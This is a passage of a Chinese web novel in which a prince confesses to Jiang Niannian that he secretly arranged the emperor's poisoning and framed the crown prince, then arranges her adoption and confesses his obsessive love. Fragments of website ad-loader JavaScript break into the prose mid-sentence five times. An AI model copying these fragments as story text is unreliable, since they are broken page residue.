姜念念这些天里,仔细地想了许多事情,然后一些曾经被她忽略的细节,也再次出现在了她的脑海里。她记得在自己曾经看到的那个“故事”里,有提到过沈南寂的身边是会出现一个人,可是这么久以来,那个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人都并没有出现。她不会觉得那个故事是一个预言,自己就是故事里的女子,但不可否认,也许正是因为她的出现,取代了原先的那个人。 如果真的是这样的话,那也许她的出现,确实改变了许多事。如果真的是那样的话,那她说不定也可以改变沈南寂最终的结局,她不希望沈南寂在那样年轻的时候,就遗憾离世。 而且于她而言,自己在这个世界生活了这么多年,恐怕也早就无法回到另一个世界。如果真的要和谁相伴一生的话,她好像也找不到其他人。他们已经相伴太久,早就习惯了身边有彼此的存在。 想通了这一点后,姜念念觉得,连着压抑在自己心头许久的阴霾,似乎都在这一刻散了。 恰逢此时,有人敲响了她的门,姜念念走过去开门,结果就看到了一个令她有些意外的人,“段云澜?你怎么来了?” 自从那天他们回到京城,段云澜被段右宏赶去军营之后,就再也没有回来。一开始姜念念还有担心段云澜的安危,结果段右宏直接摆了摆手,让她不必忧心。她还记得当时段右宏是这么说的:“你放心,那小子机灵着呢,根本不会让自己累着。” 姜念念有些不解,“他去做什么了?” 段右宏便给他解释:“这小子平日里一直没个正形,整天跟着京城里的那些世家子弟游手好闲,也不知道怎么的突然就答应去西南郡了。现在从那地方回来,我得让他爹娘看着他,不能让他又变回之前那样。” 姜念念有些忍俊不禁,不过心中也在猜测,段云澜去西南郡的事情,恐怕也是沈南寂找他谈的。仔细想想,虽然段云澜看起来不务正业,但真要做起事来,也不会让人觉得不靠谱。 如今看到面前的段云澜,姜念念却有些怀疑,是不是自己之前想多了,这人其实也不是那么能够令人信服。 “等等,你这是什么表情?”段云澜眼见着姜念念看自己的眼神慢慢开始变得狐疑,心底逐渐升起一股不好的预感,总觉得自己要是再不说些什么的话,就会发生什么不好的事,于是他连忙出声,制止了她继续想下去。 “你不是在军营吗,怎么会出现在我这?”姜念念有些疑惑地问道。 那天段右宏忽悠段云澜离开时,所有人都听到了,所以段云澜也并没有怀疑。他以为姜念念只是知道自己去了军营,至于其他那些可能有些丢脸的事,自己的祖父并没有提。 当然,他很显然是低估了姜念念所知真相的多少。 不知是不是为了维持自己的形象,段云澜装作若无其事地说道:“我就只是去那边住了几天,不想住了当然就回来了。” 见他还在嘴硬,姜念念也装作不知情地问道:“这样啊,那我怎么听说,是为了不让你乱跑,才叫你去那边的呢?” 段云澜脸色一变,大惊失色道:“你听谁说的?” 59. 太子 此时段云澜也顾不得装淡定了,脑子里不断循环着“完了完了”,然后拼命思考,自己究竟在多少人面前丢了脸。 看到他这副样子,姜念念有些想笑,于是只能一边忍着笑,一边说道:“你的祖父。” 听到这个回答,段云澜下意识地松了一口气,随后又立马警惕了起来,“那你们当时有多少人听到了?” 见他一副紧张的模样,姜念念也终于决定不再逗他,如实答道:“放心吧,当时就我和老将军两人。” 闻言,段云澜这才彻底放松下来,心有余悸地拍了拍胸脯。 “这么担心被别人知道吗?”姜念念有些好笑地道。 “那当然了,我可是将军府的人,要是被别人发现了我的秘密,借此利用我做坏事怎么办?”段云澜理所当然地道,顿了顿,他又摆摆手道,“当然了,你也算是我的朋友,知道就知道了。” 姜念念觉得,比起段云澜所说的那个原因,最重要的恐怕还是他自己害怕丢了面子。不过她也没拆穿他,免得他以后都不好意思出现在她面前。 “对了,你还没说你为什么回来。”姜念念道,“刚刚说自己想回来就回来,应该也是假的吧?” 段云澜点点头,谎言被拆穿后,他也就没再坚持先前的说法,“其实是宫中出现了一些事,殿下让我先回府等着,预备着出现状况,也能第一时间应对。” “宫中怎么了?”姜念念一听,心忍不住一提,有些担心地问道。 “不是殿下。”段云澜知道姜念念在担心什么,于是先告知了结果,随后才四下观察了一番,确定没有旁人在听后,才压低声音说道,“是陛下。” “陛下怎么了?”姜念念问道。 段云澜继续压低声音说着:“殿下传消息跟我说,陛下似乎已经昏迷不醒了。这件事情暂时还没有对外公开,就是防止会引起骚乱,但是宫中也有不少人知道了这个消息。” “也就是说,时间已经不多了。”姜念念道。无论是沈明承的寿命,还是留给他们的时间,都随着这一刻的到来,进入了倒计时。 段云澜点头,认同了姜念念的话,但随后他又补充道:“不过,这也未必是件坏事。” “为什么这么说?”姜念念问他。 “殿下为此事筹谋许久,早就做足了准备,所以就算……也不会有任何的影响。” 姜念念听出了段云澜话里的意思,可是她却在想另一件事,“你说,沈南寂为此事筹谋许久,具体有多久?” 沈南寂想要争夺皇位这件事,她不觉得意外,或者说她早就笃定了最后他会坐上那个位置。可是今天听到段云澜说起这事时,却隐隐察觉到了不对,又或者说,是她之前遗漏了什么重要的线索。 “你不知道吗……”段云澜听到姜念念的询问,先是愣了一下,随即像是想说什么,又顿住,最后才有些迟疑地说道,“如果殿下没告诉你的话,那我还是也不说了。” “为什么不能说?”姜念念愈发觉得不对劲,“这里没有别人,所以你是想瞒着我?为什么?” 段云澜被追问得有些无措,最终他还是没有办法,只得说道:“我也不知道确切时间,但大概是他从冷宫中出来后,没有多久吧。” 姜念念回忆了一下那时候的他们,震惊地道:“他那个时候就已经想着这事了?” 可能是觉得反正该说的不该说的都已经说了,再多说点也没关系了,段云澜所幸就继续说道:“其实一开始他找到我们,和我们说那些话的时候,我爹娘都有些不敢相信那是他说的话,还以为是陛下想要测试将军府的衷心。不过后来我们也都信了殿下的话,但是谁也没有想过,他真的能做到这些,毕竟这些事太大逆不道了。但是随着时间慢慢过去,陛下做事越来越不顾普通百姓,也全然不在意边关情况,我们也就开始不再全然相信陛下了。” 姜念念知道,当时沈南寂找到他们时,一定是经过了层层筛选,觉得他们是最有可能帮助自己的人后,才敲开了将军府的大门。但是这样做的后果,也带着一定的风险,那就是将军府的众人并没有如他所料的那般,答应与他合作,而是直接将他告发到沈明承的面前,那他恐怕早就已经不在了。 “他一开始就告诉你们,他想要皇位?”姜念念问道。 “那倒没有。”段云澜摇头,“这件事他一直没有提过,还是后来又一次,祖父猜到了他的想法,问起他是不是想要坐上那个位置,他才承认的。” “他是全然将自己押注在段家了。”姜念念道。 段云澜“嗯”了一声,“我爹当时也说,但凡段家走漏一点风声,那他就将万劫不复。” 姜念念觉得,段云澜大概还隐瞒了些事,“所以,段家最后又为什么会答应?与皇子串通一气,企图颠覆朝堂,这种事情一旦暴露,可是要株连九族的。” “段家确实有自己的目的,当时殿下也就是算准了这一点——虽然我们也不知道,他是怎么知道这件事的。”段云澜道,“有时候我们也很好奇,他究竟为什么会知晓那么多事情,总是会让自己处在最有利的位置上。不过这的确给段家带来了巨大的好处,所以我们也自然会尽力回报殿下。” 但其实在最一开始,段家也是因为不知道沈南寂的最终目的,只以为他是想要拉拢属于自己的势力,所以才会答应。毕竟当时除了他孑然一身之外,几乎所有的皇子公主,背地里都有可以为其撑腰的母族或者助力。 他们谁也不会想到,沈南寂这样的人居然会做出什么样的大动作。可也正因他们的松懈,才给了人最佳的成长时机,等他们所有人察觉到异常时,有些结果也早已经注定,根本不会再有多大的改变。 姜念念心中一时五味杂陈,她早就知道沈南寂在做着一些事,并且可能会很危险,但她从来没有想过,早在那个时候,他就已经在筹谋这一切了。她发现,即便是从小相识 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,日夜相伴,她也无法说自己真的了解他。 “你在想什么?”见姜念念一直没有说话,段云澜有些奇怪地问道。 “在想,他究竟还有多少秘密。”姜念念答道。 “可能会有很多。”段云澜倒是对此没有避讳,他的神情放松,似乎没觉得这有什么不对,他笑了笑,说道,“反正只要知道,他不会残害无辜之人,就足够了。” 姜念念想了想,觉得也有道理。这时她突然想到,段云澜自从敲开门之后,就一直没有表明自己的来意,“对了,你来找我,是有什么事吗?” 经由姜念念这么一提醒,段云澜似乎也才想起这事来,“哦,也没什么事。就是和你说一声,过几日殿下可能会来,免得你这几天没有他的消息会担心。” 闻言,姜念念点了点头,“好,我知道了。” 将消息带到的段云澜也不再多留,“好了,话也带到了,那我就先走了。” 他挥了挥手,甚至都没等姜念念应声,就已经直接转身往回走了。姜念念看着他远去的背影,顿了顿,随即也重新关上了屋门。 正如段云澜所说的,接下来的几日,整个将军府上下,都沉浸在一种莫名的氛围中,像是暴雨将倾前,最后的宁静。 姜念念知道,他们都在等待着最后的结果,只待宫中的命令下达,一切都将彻底颠覆。 姜念念还记得,那是一个晴日,一切看起来都与前一日并无太大差别,可唯独就是这一天,自宫中传来一道令所有人都措手不及的消息。陛下的病症并非偶然,而是由太子沈西泽勾结太医院一位太医,两人联手毒害陛下,意图谋反。 消息一经放出,满城哗然。所有人都没料到,那个平日里对百姓谦和有礼的太子,居然是个毒害自己亲生父亲的罪魁祸首。 经此一事,太子便算是彻底失了势。沈明承依旧没有醒来,关于沈西泽的罪行,也是由沈南寂和沈东郢两人定夺处理。 那些曾经依附于沈西泽的人,如今则彻底销声匿迹,再也无法掀起任何波澜。没有人理会他们的结局,更多人都想要看到最终的赢家会是谁。而他们就算如今暂且保住了性命,可在未来尘埃落定的那一天,他们也迟早会被人从黑暗的角落里揪出来,然后秋后算账。 这样的结果谁都能料到,他们也早就做好了这样的准备,只是在这一刻真正到来的时候,他们也还是会忍不住感慨和不甘。 而在此时此刻,便只剩下沈南寂和沈东郢两人,即使表面上看起来再平静不过,可背地里也已经暗涛汹涌。 所有人都在猜想,最终的赢家会不会是沈东郢,毕竟他有母族撑腰,还有三公主沈如月在一旁出谋划策。而反观沈南寂,看起来似乎一无所有,根本毫无胜算。 外界的那些传言,沈南寂自然也都听见了,只不过他丝毫没有在意,他也仍旧在做着自己的事情。于他而言,那些话根本影响不到他,他根本不会放在心上。 60. 养女 距离这件事情结束后又过了几日,沈南寂在所有人都没有察觉到的情况下,悄悄来了一趟将军府。 因为早些时候沈南寂就已经让段云澜通知过段右宏,所以整个将军府面对沈南寂的到来,倒也不算太过震惊。他们将沈南寂迎进了堂屋,就连段云澜的父亲和母亲,也同样都回到了将军府。 屏退了屋内的一众下人之后,段右宏开门见山地问道:“殿下今日前来,可是有什么要事相商?将军府上下一定万死不辞。” “将军言重了。”沈南寂微微摇头道,“如今一切局势都掌握在我们手中,我是不会让他们在这种时候,还来坏我的好事的。” “二殿下和三殿下的事,我们都探查清楚了,不会让他们有可乘之机。可是这宫中的皇子,也不是只有您和二殿下啊……”段右宏有些担忧地说道。 “老将军指的是沈北渝?”沈南寂立即便猜出了段右宏是在说谁。 “七公主是慕家所出,但以慕家如今的情况,根本做不了任何事情。而六公主虽为皇后抚养长大,但太子如今已沦为阶下囚,皇后多年的筹谋也算是功亏一篑,六公主前些日子就被皇后暗中送到行宫,大抵是想让她避过这阵风头。”一旁的段禹年说道。 听到这个名字,沈南寂难得陷入了沉思,“皇后娘娘对这位养女,的确很爱护。” 虽说沈南寂曾经也与沈宿绵相识,可此时他的语气根本算不上怀念,甚至就像是在谈论一个陌生人,毫无情感地点评着对方如今的生活。 “毕竟是从小养在身边,有感情是正常的。”段禹年说道。 沈南寂听了,完全没有关心她现状的意思,“虽然是公主,但难保不会是下一个沈如月。如果她真能安分守己,我也不是不能给她安然无虞的生活。” 段右宏点点头,“所以,眼下最重要的,还是有一争之力的四皇子。虽然他如今表现得毫无破绽,背后的母族势力算不上拔尖,在朝堂上好像也没有什么话语权,但这种人最擅藏拙,就等着别人争得头破血流,自己再在最后一刻跳出来,给敌人最后一击。到那时,先前所有的努力都白费了不说,还让他平白捡了漏。” “我会留意他的。”沈南寂沉吟片刻,最终还是同意了段右宏的建议。 顿了顿,段右宏又问道:“陛下如今情况怎么样了?” “还没有醒过来。”沈南寂顿了一下,又道,“太医的意思是,很大概率不会再醒了。” 其余三人闻言,面面相觑了一会,最终还是段禹年试探着问道:“所以,这事还要瞒着?” “自然,毕竟这个时候知道了,整个京城岂不是要乱成一锅粥了。”沈南寂笑着道,“总要有人能稳住局面,陛下就是最好的选择,我相信他们也是这样想的。” 将军府的三人听着,总觉得沈南寂话中有话,明明是在说沈明承控制了整个局面,可他们总是恍惚中以为听到沈南寂在说:这也是他的最后一点价值了。 三人微微汗颜,并没有接话。 自从沈南寂带着段云澜一同前往西南郡后,整个将军府便已经算是在明面上站在了沈南寂这边,到了如今这个地步,将军府也算是在沈南寂的帮助下,彻底在朝堂上了有了一席之地。但他们大多数时候,都只觉得沈南寂精于算计,不露声色,像今天这样明显地表达出自己的情绪,还是第一次。 “我今天来,是有其他事想要请求你们。”沈南寂的突然开口,打破了此时的沉默。 段右宏闻言,连忙道:“殿下有什么需要我们做的,尽管吩咐便是,何来请求一说。” 沈南寂摇了摇头,“这只是我的私事,所以才算是请求,并非是要求你们必须要答应。” 闻言,三人互相对视了一眼,都有些没明白沈南寂的意思。不过他们看见沈南寂神色认真,也没人敢怠慢,于是最终还是段右宏出声问道:“殿下想要我们做什么?” 沈南寂像是迟疑了一下,最终还是说道:“我是想请求你们,若是可以的话,可否让姜念念进入段家?” “谁?”段禹年先前一直在军营,所以也并不知道姜念念的存在,甚至如果要问他们近几日将军府发生了什么,他们恐怕也都是全然不知情的。此时他和自己的夫人崔沚兰相视一眼,都从对方的眼底看到了茫然。 可段禹年和崔沚兰不知道,段右宏却是全然知晓的,他露出一副“果然如此”的神情,随后问道:“殿下提前让姜姑娘来到将军府,也是为了这个打算?” “是,但也不完全是。”沈南寂道,“我想让你们彼此熟悉一下,也好过直接做下决定。再者如今的宫中,也的确不太平,我难免会分身乏术。” “既然是这样,我倒是挺喜欢这孩子的。”段右宏思忖道,“只不过这事应当也有该由当事人做主。” 说罢,段右宏的视线转移向段禹年和崔沚兰两人。 另外被他们这么盯着,一时感到有些压力。好在他们也从刚刚对话中,听出了个前因后果,崔沚兰说道:“殿下是想让我们收姜姑娘为义女?既然父亲觉得没问题的话,那我们也没什么问题。只不过那位姜姑娘的意思……” “我会与她说的。”沈南寂顿了一下,随即又道,“放心,不会让她在将军府呆很久,等这一切结束了,我还是会接她离开。” “那殿下这么做的原因是?”段禹年有些不解,“如果只是为了避过这阵风头,那让人直接住在将军府就是了,为什么一定要有将军府养女的身份?” 崔沚兰到底心思细腻,听到沈南寂说的话后,就已经想明白了前因后果。她虽然有些诧异,有些好奇这位姜姑娘的事情,可在听到段禹年那神经大条的发言,还是忍不住扶额。 “想不明白就不要问了,这样会显得你很傻。”崔沚兰阻止了段禹年的继续追问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,然后扭头对沈南寂说道,“既然这样,那就依照殿下的意思办。以后有需要的话,也尽管和我们开口。” 沈南寂略微颔首,“那就多谢了。” 简单的谈话过后,沈南寂便向几人道了别,随后又询问了姜念念如今的住处,便离开了屋子,留下剩余三人在屋内。 三人目送着沈南寂的背影远去后,这才凑到一起,偷偷摸摸地四下打量了一番后,这才悄声谈论了起来。 段禹年对于刚刚崔沚兰手动捂嘴的行为很是不满,一定要为自己讨一个说法:“你刚刚为什么不让我问了?我哪句话说错了吗?这明明看着就很多此一举啊。” 段右宏无奈地摇了摇头,显然也是有些不愿看到自己这么缺心眼的儿子,不过他还是解释道:“你能想到这件事,难道殿下就想不到吗?” “那他是为了什么?”段禹年一时没有绕过弯来,疑惑地问道。 “……你难道就没有想过,为什么沈南寂要将那位姜姑娘送到将军府?”崔沚兰问他。 “为了保护她的安全……”段禹年说到一半,突然就想到了什么,声音戛然而止。 要说沈南寂关心过谁,不是没有,不过多半也就只是提醒对方,真说要特地为对方选择一个安身之处,那绝对是没有的。可现在却有这么一个连身份都不知道的人,不仅得到了这份殊荣,甚至还被安排了一个全新的身份。 “殿下这是……”段禹年欲言又止,不知该不该继续说下去。 “姜姑娘应当只是一名普通的女子,若是有了将军府的庇佑,必然会让外界少许多闲言碎语。”崔沚兰推测道,“殿下自己兴许不在意这些,但是他应当也是想要让旁人都找不到姜姑娘的把柄。” 段右宏赞同地点点头,但他的心中却在想着另一件事。他知道,沈南寂从来不会做没有把握的事情,所有的决定都是经过深思熟虑的。所以,他既然提出了这个要求,就知道将军府一定会同意。姜念念需要一个合适的身份,但日后沈南寂真的夺得皇位,将军府必然是要更进一步的,否则这份合作也就到此为止了。他们之间互相都有对方的把柄,一旦联盟分崩离析,那些秘密随时都可能会成为罪证。这样一来,将军府必然会想要一个更为稳妥的解决办法。 但是现在,沈南寂将这个办法送到了他们手中。他无非就是猜到,将军府会利用姜念念这层关系,与沈南寂达成长久的契约。姜念念就将是他们之间的纽带,只要她还在,那这层关系就永远不会断开。 而且就算到了最后,是最坏的结果,哪怕是为了姜念念,沈南寂也一定会保全将军府——这也算是他的承诺。 想到这里,段右宏的心中一时有些复杂,不过这件事他也没有直接挑明,只放在自己的心中。如果一切顺利,那么这个秘密就将永远藏在他的心底,不会对任何人提起,他们也只会把姜念念当做自己的亲人对待。 61. 隐瞒 此时三人口中讨论的对象,已经成功见上了面。几日未见,两人先是各自交换了一下近几日的生活,随后这才说起了正事。 因为之前就听段云澜说过一些关于沈明承的事情,所以姜念念也是先问起了这事。与段云澜所说无差,沈南寂给出的答案也是:沈明承已经昏迷不醒了,并且也很难再次醒过来。 “既然如此,那慕辰朔是不是就不会落到陛下手中了?”姜念念问道。 沈南寂微微点头,“自然。如今没有陛下的命令,谁也见不到慕辰朔,再之后的事情,也就由不得旁人了。” 姜念念知道,一旦沈明承的死讯传出来,或者谁夺位成功,慕家最后的下场都不会好过。不过她还是有些不明白,“既然慕家已经到了这个地步,陛下也不是真的爱贵妃爱到要保下她一家的程度,为什么他还会明知慕家罪行的情况下,还要留着他们。” 姜念念本以为沈南寂会回答自己,可是沈南寂却只是摇了摇头,“我不知道他是怎么想的,也许他只是觉得,这样就可以让别人知道,他掌握的权力才是最至高无上的也说不定。” 姜念念一时有些愕然,总觉得这个理由过于不切实际了。 “前些日子,慕玲月也来找过我。”沈南寂此时对于这些人,在私底下的时候,已经不会再用敬称,而是开始直接指名道姓。 姜念念骤然听到这个名字的时候,先是愣了一下,随后才想到他说的人是谁,“贵妃娘娘来找你了?她是想让你放过慕辰朔吗?” 沈南寂点头,又接着说道:“不过我回绝了她。她可能觉得,慕家和我之间,并没有太多的牵扯,只有当年的那些事会让我记恨,所以她跟我说,所有过错都由她一人承担,让我放过慕辰朔和慕家其他人。” 姜念念觉得这不太可能,果不其然,下一秒她就听到沈南寂轻笑了一声,似是嘲讽般地说道:“她觉得这可能吗?” 就连沈明承都知道,三言两语根本无法说动沈南寂,所以在知道自己身体的情况下,都没有贸然让沈南寂直接放人,结果慕玲月却跟他来开了这个口。这让沈南寂又不禁想起,他初到西南郡时,曾经收到的来自慕家的信件。当时他没有回信,他以为慕玲月是知道自己的打算了,结果她还是在自欺欺人。 当然,那封信的内容,沈南寂早就毁去,他也没打算让姜念念知道。虽然他不清楚在那些事里,姜念念到底牵扯进去多少,但他不想因为这件事,导致他们之间的关系恶化,得不偿失。 正想着,沈南寂一抬头就见到姜念念一副若有所思的神情,于是甩掉自己脑子里的那些乱七八糟的思绪,问道:“姐姐在想什么?” “我听说,是太子殿下给陛下下毒,导致陛下性命垂危,现在太子殿下也已经完全失势了,是吗?”姜念念问道。 “是的。”沈南寂给予了肯定的回答。 姜念念闻言,却并没有被解开疑惑后的豁然开朗,反而还轻轻皱了一下眉。她看了沈南寂一眼,于是一直都很轻易便能读懂旁人眼神的沈南寂,也立马就察觉到了不对。他的心在一瞬间提起,将落不落。 他感觉到有些慌,却还是强作镇定地问道:“怎么了?” 诚然,沈南寂了解姜念念,而姜念念也同样了解沈南寂,她能感觉到对方心底的慌乱。 因为她察觉到了异常。 可正因为她想明白了一些事情,所以此时也并不打算就让他这么轻而易举地蒙混过去。别人可以隐瞒,但她不想也一直被蒙在鼓里。 于是,在沈南寂注视下,姜念念丝毫没有迟疑的,将自己的疑问说了出来:“真的是太子殿下下的毒吗?” “……” 随着姜念念的问题落下,空气里陷入一阵长时间的沉默。两人相顾无言,像是无声的对峙。 最终,还是沈南寂实在受不了这样的气氛,率先移开了视线。他先是站起身,有些焦虑地在屋内转了两圈,随后才在姜念念的注视下,走到了姜念念的面前。他没再坐回到原来的位置,而是转而蹲在了姜念念的面前,这个角度可以清晰地看到对方的神情,他似乎想要以此来确定,自己的话会带来什么样的结果。 于是,他有些小心翼翼地问:“是谁和姐姐说了什么吗?” “所以,是真的。”姜念念缓缓道,“下毒的人,并不是太子。” 沈南寂在心底挣扎了一下,他担心自己在撒谎的话,可能会让姜念念不开心,于是乖乖地点了一下头。 “那是谁呢……”姜念念不像是在问话,反而更像是在自言自语,因为在她说完这话之后,就重新将目光落在沈南寂的身上。两人的视线相对的那一刻,沈南寂听到姜念念平静地吐出了两个字:“是你。” 该如何形容此刻的心情呢?大概就像是自己一直小心藏起来的秘密,突然有一天被人发现。而他的第一反应不是生气,不是想要再去遮掩,而是担心自己的这个秘密,会不会让对方讨厌自己。 他有些讨厌这样的情绪,但他从始至终都没有看到对方眼底的厌恶,因为她一直都在用平静的眼神看他,平静的语气和他说着话。 他不知道姜念念为什么会知道这些,但他已经没有多余的心情去想了。 像是在做着最后的赌注,无论结果如何,都想要得到一个答案。于是,他答道:“是,是我做的。” 沈南寂本以为,在得知这个结果之后,姜念念会直接弃他而去,亦或是指责他的不择手段。然而并没有,在得知了真相后,姜念念也只是平静地点了点头,好像并无任何意外。 在最一开始得知沈明承病倒的消息时,姜念念确实想过很多种可能,比如沈明承真的是突发疾病,或者宫中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有人暗中使了手段。 可是,这样的话,沈南寂又是怎么知道的?沈西泽又为什么这突然发难,明明是储君却仍旧要冒险做着弑君的事? 姜念念左思右想,最终得出了一个,最匪夷所思的结果——那就是一切的始作俑者,都是沈南寂。所以他会对自己的每一步了如指掌,甚至可以做到和宫中的消息一致。 正因为他们远在西南郡,又或者说正在返京的途中,所以即便出了什么事,也没有人会立马怀疑到他的头上。 但姜念念原先也只是在怀疑,因为她也无法找到确切的证据去证明这件事。然而直到此刻,沈南寂真正承认了他的所作所为,姜念念才算是完全肯定了自己的猜想。 沈南寂观察了一会姜念念的神色,见她并没有露出自己预想中的神情后,这才悄悄地松了一口气,他小心地试探着问道:“姐姐不生气吗?” “嗯?”姜念念先是一愣,似乎是没想到沈南寂居然会这样问,随即又想到了什么,说道,“当然生气了。” 沈南寂正想要解释,结果就听姜念念又道:“为什么要瞒着我呢?” 随着话音落下,这次换作是沈南寂愣住了,他听姜念念又慢悠悠地数落着自己,“你瞒着别人就算了,为什么还想着骗我?莫非在你眼中,我和那些人一样,都不值得信任吗?” 这话像是在故意找茬,可沈南寂仍旧立马否认:“不是的。”他仰着头,用那双乌黑的眸子直直望向姜念念的眼睛,用极其认真的语气说道:“我从来没有这样想过,你和他们都不一样。” “我只是害怕,你在知道这些都是我做的之后,会不会觉得我,其实和你心中所想的那个人有很大差别。你会不会觉得我,心狠手辣,冷血无情呢?” 将自己心底的话全部都说出来后,沈南寂难得觉得一阵轻快。从前他一直将这些埋藏在心底,时刻担心它们会突然有一天被暴露在阳光下。可当这一天真的到来,一切问题都迎刃而解,他不再需要细心隐藏,只要坦白一切,然后等待最后的宣判,这就将是他要做的事。 但以往令他害怕的事情,如今看来,却并不如他所想的那般糟糕。 因为他所在意的那个人,并没有因此而疏远他。 “为什么你要这样想?”姜念念似乎有些不解,她歪着头打量沈南寂,“我其实也不是那么大义凛然的人,我很自私,会事事先为自己考虑,去做利己的事情,但这些都不是我去要求你的理由。换句话说,如果你觉得这是对的,那你就去做好了……即便不是你,也会有别人,如果是那样的话,我还是希望是你。” 这句话在别人听来,已经是非常自私,或者说离经叛道了,可是沈南寂却丝毫不觉得有什么不对,甚至还觉得一切本就该如此。 “姐姐想知道,我为什么一定要得到那个位置吗?” 62. 银辉 或许是因为自己最大的秘密都已经被发现了,所以沈南寂整个人都显得有些兴奋,这种现象并没有体现在他的表情上,而是反应在了他的行为与言语上。 姜念念摇了摇头,这个问题她还真的没有想明白过。但当此时她见到沈南寂的神情后,却突然有了一丝不切实际的推想:她觉得沈南寂做了这些,可能和她有关。 这样想着,姜念念下一秒就听到沈南寂说道:“姐姐还记得,很早以前我问过你一个问题吗?我问你,‘如果我不想再安于现状,你还会同我一起吗?’” 时间太过久远,姜念念并没有立即回想起这句话,她在自己的记忆深处搜寻,直到沈南寂从原本有些期待的目光逐渐变得失落,她才从记忆的一隅回想起这件事来。但就算想起来了,她心底的震惊也丝毫没有减少,或者说她比先前更加感到不可思议。 关于这句话的起始,时间太过早了,“你从那个时候,就已经在计划着这件事了?” “虽然我也很想否认,但确实是这样的。”沈南寂道。 姜念念此时已经不知道该如何形容自己的心情,当她得知沈南寂其实早就有这个想法,以及当初和自己说过那样的一句话,是否又说明,他其实早就在暗中告知了自己,只不过是自己当时没有察觉到他的意图罢了。 姜念念其实想问问,他为什么会在那时候就有了这个打算,可是仔细回想一下的话,好像也没有询问的必要了。当时的他们几乎过着连普通宫人都不如的生活,他想要改变这些就只能去改变自己,只不过他的改变与常人的想法有些不同而已。 “为什么要选择这个时候呢?”姜念念有些好奇道。 “其实也和姐姐想的差不多,这个时候去做,不会轻易让别人怀疑到我。”沈南寂顿了一下,“这件事,除了你我也没有告诉任何人。” 姜念念有些惊讶,“老将军呢?这件事你难道不是拜托他们去完成的吗?” 意外的是,沈南寂摇头否认了姜念念的猜测,“不是。” “其实之前所说,这一切都是沈西泽做的,也并不是完全是欺骗别人的话,毕竟一旦有人调查此事,很容易就会露出破绽。”沈南寂说道。 姜念念话里的弦外之音,“所以,其实下毒的人,还是太子?” 沈南寂不置可否,甚至还对此做出了解释,解答了姜念念心中的疑惑,“其实,在这件事情上,真正参与其中的,还有沈东郢。” “二皇子也参与了?”姜念念有些惊讶,在她看来,他们几人之间几乎都是水火不容的存在,就算是为了扳倒沈西泽,沈东郢也不会选择跟沈南寂合作,然后将自己的把柄留在沈南寂的手上。 沈南寂知道姜念念在想什么,“你想的也没错,他不会在真正意义上与我达成合作。” “所以你到底做了什么?”姜念念实在有些好奇,这究竟都是怎么一回事。 “这大概就要从很早之前说起了,我用了些小手段,然后塑造了另一个身份,没让他发现我是谁,在暗地里帮助他度过了不少难关,这也让他对我深信不疑。”沈南寂说得随意,“这次我让他故意制造了一些,让沈西泽以为陛下要将储君之位传给沈东郢的错觉,沈西泽在意识到这件事之后,自然会感到有危机感,然后有所行动。只不过他可能想害的人是沈东郢,但这种事情的过程并不重要,最终的结果才是最重要的。” 意思就是,即便沈西泽是想要下毒给沈东郢,但沈南寂想要看到的是被害人是沈明承,那他就一定会让沈东郢变成沈明承。虽然沈南寂说得轻描淡写,但姜念念不难想象,如果真要实行起来,到底会有多困难。可即便是这样,他也还是做到了。 这是一条很残酷的路,一旦牵扯其中,就没有人可以独善其身,也没有人可以说自己是无辜的。 也许是不想再看到姜念念露出这样的表情,沈南寂也没再继续这个看起来很沉重的话题,他说起了自己原先想要来找姜念念的目的,让她的注意力被转移开:“姐姐,我还有一件事想要和你说。” 姜念念没多想,只下意识回了一句:“什么事?” “我打算让你进入将军府。”沈南寂似乎有些紧张,即便是方才与段右宏他们提起此事时,他更多的还是游刃有余的状态,然而此时他却全然没了那份随性,“有了将军府义女的身份,你今后也会少很多麻烦。” 沈南寂像是在给姜念念罗列着有了这个身份之后,会得到多少的好处,可实际上他也拿不准姜念念的决定。他甚至也在心底盘算着,如果姜念念还是要拒绝,那么他到底是该继续劝说,还是再想其他的办法。 然而还没等他想好应对的措施,甚至就连他之前想的那些劝说言论都没来得及说出口,因为在他说完之后,姜念念就已经直接点头,应下了他的请求。 “好啊。” 明明只是简单的两个字,可是却如同掀起巨浪的飓风,直面向他而来。而他根本没想着躲开,仍旧停留在原地,眼睁睁地看着风和海浪压近。 “姐姐不问我为什么吗?”沈南寂试探着问道。 姜念念看了他一眼,觉得他应该是还有话要说,可随即她又像是想到了什么,对他说道:“如果你想说的话。” “我知道,现在这个时间不对,但是我不想再等了。只有今天,你的眼睛在告诉我,你不会拒绝我……”沈南寂像是在对姜念念说,又像是在给自己打气,他的瞳孔中仿佛落满了揉碎的星星,映照着白日的光。他放缓了声音,努力压抑着自己的情绪,“我一直一直,都很想你,我希望你可以一直看着我,不要去看别人。可是你的身边总是会有别人出现,他们会抢走你的目光,会带走你……我不喜欢这样,可是我也不想伤害姐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姐……” 他从很早之前,就已经不会再梦见自己的母妃,梦中取而代之的,是另一个求而不得的身影。 每每午夜梦回,他都会下意识地去寻找那道身影,可入目所及,只有满地银辉。 她从来不会在她身边。 他于月色下一遍遍地念着“姐姐”这个称呼,每念一遍,心底的思念便愈多一分,知道爱意如海水倾覆,漫灌了他的口鼻,叫他彻底溺毙其中。 饮鸩止渴,难以自拔。 姐姐什么都好,就是不肯爱他。 不过还好,他们总是被命运牵连在一处,他可以一点点清理掉她身边那些不怀好意的人。只要站在她的身后,她就永远不会看到自己那些不堪的一面。 他一直觉得,自己可以看清别人眼底的神情,是一件很好的事,这样他就可以清楚地观察到,谁在欺骗他。可是直到他看到每一次与姜念念对视时,对方眼底的淡漠和抗拒时,他就会忍不住,如果他什么也不懂,当一个自欺欺人的蠢笨之人,是不是更好? 重蹈覆辙这个词本身就如同一道诅咒,所以他始终不愿意见到。 就在他沉浸在这悲怆的情绪无法自拔时,忽然发觉自己的眼前晃过一道人影,还没等他看清,眼前就已经出现了一张面孔。 